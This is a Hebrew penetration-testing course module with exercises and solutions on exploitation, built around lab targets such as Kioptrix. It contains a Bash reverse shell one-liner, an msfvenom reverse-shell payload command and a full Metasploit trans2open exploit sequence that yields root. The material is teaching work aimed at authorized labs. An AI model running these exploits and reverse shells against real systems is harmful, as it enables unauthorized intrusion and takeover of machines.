

מודול 7 — תרגילים ופתרונות

חומר לימוד

2 יחידות

תוכן העניינים

1.  תרגילים — מודול 7: ניצול והשגת גישה
2.  פתרונות מלאים — מודול 7: ניצול והשגת גישה

תרגילים — מודול 7: ניצול והשגת גישה

⚠ רק על מכונות המעבדה שלך (Kioptrix / Metasploitable). קח **Snapshot** לפני ניצול. פתרונות ב- `solutions.md`.

🚦 לפני שמתחילים — קרא אותי!

- מה צריך: **Kali** + מכונת יעד (**Kioptrix** או **Metasploitable**) על אותה רשת Host-Only. קח **Snapshot** של היעד לפני שמתחילים — כדי שתוכל לחזור אחורה.
- ☁ **אין מכונת יעד מקומית?** תרגל ניצול בענן ללא התקנה — חדרים חינמיים ב-TryHackMe כמו “**Metasploit: Introduction**” (EternalBlue → SYSTEM) או “**Blue**”.
- 📖 **איך עובדים:** קרא קודם את ה-`README.md`. למשימות המעשיות (🟡🟢) יש פקודה מדויקת + מה לחפש; לקשות יש 💡 רמז ו-✅ קריטריון.
- 🎯 **נתקעת?** Exploit שלא עובד? ודא ש-RHOSTS/LHOST ש-Listener פתוח. נסה, ואז הצץ ב-`solutions.md`.
- 🏆 **טיפ:** האתגר המסכם (root על Kioptrix) הוא הרגע ש"הכול מתחבר". קח את הזמן והגע אליו.

🌐 איפה לתרגל — שתי דרכים

- ☁ **TryHackMe** (בדפדפן, ללא התקנה): “Metasploit: Exploitation” • “**Blue** (EternalBlue)”
- 🐧 **Kali (מקומי): Metasploit + Kioptrix / Metasploitable** ב-Kali.

מקרא רמות: 🟢 קל • 🟡 בינוני • 🟠 מתקדם • 🔴 אתגר

חלק א' — הבנת Shells ו-Payloads (🟢)

7.1 — הסבר את ההבדל בין **Reverse Shell** ל-**Bind Shell**: מי יוזם את החיבור, ואצל מי ה-Listener? 💡
רמז: `README` — סעיף Shells. ✅ הצלחה: Reverse=הקורבן מתחבר החוצה (Listener אצל התוקף); Bind=התוקף מתחבר פנימה (Listener אצל הקורבן).

7.2 — מדוע Reverse Shell נפוץ יותר בעולם האמיתי? 💡 רמז: README — סעיף Shells; חשוב על Firewall ותעבורה יוצאת. ✅ הצלחה: הסברת ש-Firewall מתיר תעבורה יוצאת, ולכן Reverse עובר.

7.3 — מבין `linux/x86/shell/reverse_tcp` ו-`shell_reverse_tcp` — מי Staged ומי Non-Staged? 💡 רמז: README — סעיף Payloads. / בין `shell` ל-`reverse` = `Staged`. ✅ הצלחה: `Staged, shell_reverse_tcp = Non-Staged = shell/reverse_tcp`

חלק ב' — Netcat ו-Shells ידניים (🟡)

7.4 🟡 — פתח Listener של Netcat על פורט 4444.

```
nc -lvnp 4444
# פורט -p • DNS ללא -n • מפורט -v • האן ל-#
```

👁️ **חפש:** ההודעה `listening on [any] 4444`. ✅ הצלחה: ה-Listener פתוח וממתין.

7.5 🟡 — מטרמינל/מכונה שנייה, התחבר ל-Listener והעבר טקסט.

```
nc <kali-ip> 4444      # Enter הקלד טקסט ולחץ #
```

👁️ **חפש:** הטקסט שהקלדת מופיע בטרמינל של ה-Listener. ✅ הצלחה: התקשורת בין שני הצדדים עובדת.

7.6 🟡 — הפק פקודת Reverse Shell של Bash מ-`revshells.com` והסבר כל חלק. 💡 רמז: הזן את ה-IP והפורט שלך באתר, בחר "`Bash -i`". ✅ הצלחה: יש לך פקודה מוכנה ואתה מבין מה כל חלק עושה.

חלק ג' — Metasploit (🟡🟡)

7.7 🟡 — הפעל `msfconsole` וחפש Exploit ל-samba.

```
msfconsole
search samba
```

👁️ **חפש:** רשימת מודולים; ספור כמה תוצאות (רשום מספר). ✅ הצלחה: קיבלת רשימת Exploits ל-samba.

7.8 🟡 — בחר Module, הרץ `show options`, והסבר `LHOST`, `RHOSTS`, `PAYLOAD`.

```
use exploit/multi/samba/usermap_script
show options
```

💡 רמז: RHOSTS=היעד, LHOST=ה-Kali שלך, PAYLOAD=הקוד שירוצן אחרי הניצול. ✅ הצלחה: הסברת את שלושת הפרמטרים.

7.9 🟡 — הרץ `show payloads` על ה-Module. מצא Payload מסוג Reverse ואחד Bind. 💡 רמז: חפש `reverse` מול `bind` בשמות ה-Payloads. ✅ הצלחה: זיהית דוגמה אחת מכל סוג.

חלק ד' — msfvenom (🟡)

7.10 — צור עם `msfvenom` קובץ Reverse Shell של Linux (elf). אל תריץ — רק צור והסבר.

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<kali> LPORT=4444 -f elf -o shell.elf
```

💡 רמז: README — סעיף `-p=payload` ב-`msfvenom`, `-f`=פורמט, `-o`=קובץ פלט. ✅ הצלחה: נוצר `shell.elf` ואתה מבין כל דגל.

אתגר מסכם — “Kioptrix root-ל Recon-מ” (🔴)

זהו האתגר המרכזי — שרשור מלא של מודולים 5 → 6 → 7:

1. **סיכום מנייה:** קח את דוח המנייה ממודול 6 — מהי החולשה שבחרת לנצל?
2. **בחירת Exploit:** ב-`msfconsole`, מצא ובחר את ה-Exploit המתאים (`Samba trans2open / usermap`).
3. **הגדרה:** `set RHOSTS` (Kioptrix), `set LHOST` (Kali), בחר PAYLOAD מתאים.
4. **ניצול:** הרץ `exploit` והשג Shell.
5. **הוכחה:** הרץ `whoami`, `id`, `hostname`. **צלם מסך** של `whoami` המראה `root`.
6. **תיעוד:** כתוב את השרשרת: איזו חולשה → איזה Exploit → איזה Payload → מה השגת. זהו “Proof of Concept” לדוח (מודול 16).

💡 רמז: פתרון מלא צעד-אחר-צעד + הפקודות ב-`solutions.md`. ✅ הצלחה: ראית `root` בפלט `whoami` וצילמת מסך.

🎯 אם ראית `root` — ביצעת בדיקת חדירות מלאה מקצה לקצה! זה הישג אמיתי.

רשימת בקרה — לפני מעבר למודול 8

- ☐ אני מבין Reverse מול Bind Shell ומתי כל אחד
- ☐ אני מבין Staged מול Non-Staged Payloads
- ☐ אני פותח Listener עם Netcat וקולט חיבור
- ☐ אני שולט בזרימת (search/use/set/exploit) Metasploit
- ☐ אני יוצר Payloads עם msfvenom
- ☐ ניצלתי את Kioptrix והשגתי root (עם צילום מסך)

פתרונות מלאים: [solutions.md](#)

פתרונות מלאים — מודול 7: ניצול והשגת גישה

נסה לבד ב- [missions.md](#) קודם.

חלק א' — הבנת Shells ו-Payloads

7.1 — ב-Reverse Shell הקורבן יוזם את החיבור אל התוקף, וה-Listener נמצא אצל התוקף. ב-Bind Shell התוקף יוזם את החיבור אל הקורבן, וה-Listener נמצא אצל הקורבן (על פורט שנפתח שם).

7.2 — כי הקורבן לרוב נמצא מאחורי NAT/Firewall שחוסם חיבורים נכנסים אך מתיר יוצאים. Reverse Shell מנצל תעבורה יוצאת, ולכן עוקף את החסימה.

7.3 — `linux/x86/shell/reverse_tcp` → **Staged** (ה- / מפריד בין ה-Stager ל-Stage).
`linux/x86/shell_reverse_tcp` → **Non-Staged** (ה- _ = הכל בבת אחת).

חלק ב' — Netcat ו-Shells ידניים

7.4

```
nc -lvnp 4444
```

- `-l` Listen (מצב האזנה) · `-v` Verbose (פירוט) · `-n` = ללא רזולוציית DNS · `-p 4444` = הפורט.

```
# במכונה השנייה:
nc <kali-ip> 4444
# החיבור עובד. Kali. הקלד טקסט – הוא יופיע בצד של
```

7.6 — מ-Bash Reverse Shell, revshells.com, לדוגמה:

```
bash -i >& /dev/tcp/192.168.56.5/4444 0>&1
```

• `bash -i` = Shell אינטראקטיבי · `>& /dev/tcp/IP/PORT` = הפניית קלט/פלט לחיבור TCP אל התוקף · `0>&1` = חיבור ה-stdin לאותו ערוץ. התוצאה: Shell שמתחבר חזרה אל ה-Listener שלך.

חלק ג' — Metasploit

```
msfconsole
search samba
```

תקבל רשימת Modules (exploit/auxiliary) הקשורים ל-Samba — מספר התוצאות משתנה בין גרסאות.

```
use exploit/linux/samba/trans2open
show options
```

- `RHOSTS` = ה-IP של היעד (הקורבן).
- `LHOST` = ה-IP של התוקף (Kali שלך) — לשם ה-Reverse Shell יתחבר.
- `PAYLOAD` = הקוד שירוצן אחרי הניצול (Shell/Meterpreter).

```
show payloads
```

דוגמאות: `linux/x86/shell_reverse_tcp` (Reverse) מול `linux/x86/shell_bind_tcp` (Bind).

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.5 LPORT=4444 -f elf -o shell
```

- `-p` = Payload = `LHOST/LPORT` = לאן ה-Shell יתחבר · `-f elf` = פורמט Linux הרצה · `-o` = `shell` = קובץ הפלט. את הקובץ מעלים ליעד ומריצים, וקולטים עם `use multi/handler`.

אתגר מסכם — פתרון מלא (Kioptrix → root)

```
msfconsole
search trans2open
use exploit/linux/samba/trans2open
show options
set RHOSTS 192.168.56.10      # Kioptrix
set LHOST 192.168.56.5       # Kali שלך
set PAYLOAD linux/x86/shell_reverse_tcp
exploit
```

כשמתקבל Shell:

```
whoami      # root
id           # uid=0(root)
hostname    # kioptrix.level1
```

שרשרת מלאה לתיעוד (PoC):

```
## Proof of Concept – Kioptrix Level1
1. Recon (מודול 5): זיהוי היעד
2. Enumeration (מודול 6): nmap → Samba 2.2.1a פגיע
3. Vuln Research: searchsploit samba 2.2 → trans2open (CVE-2003-0201)
4. Exploitation: Metasploit trans2open + reverse_tcp payload
5. Result: root shell (uid=0) – שליטה מלאה
```

אם ראית root — ביצעת בדיקת חדירות מקצה לקצה. המשך למודול 8.

פתרון בעיות נפוצות: - אין Shell? ודא ש-LHOST הוא ה-IP הנכון של Kali (`ip a`), ושהמכונות באותה רשת (ping ביניהן). - נסה להחליף בין Payload Staged ל-Non-Staged. - ודא שלקחת Snapshot — אם השירות קרס, שחזר והרץ שוב.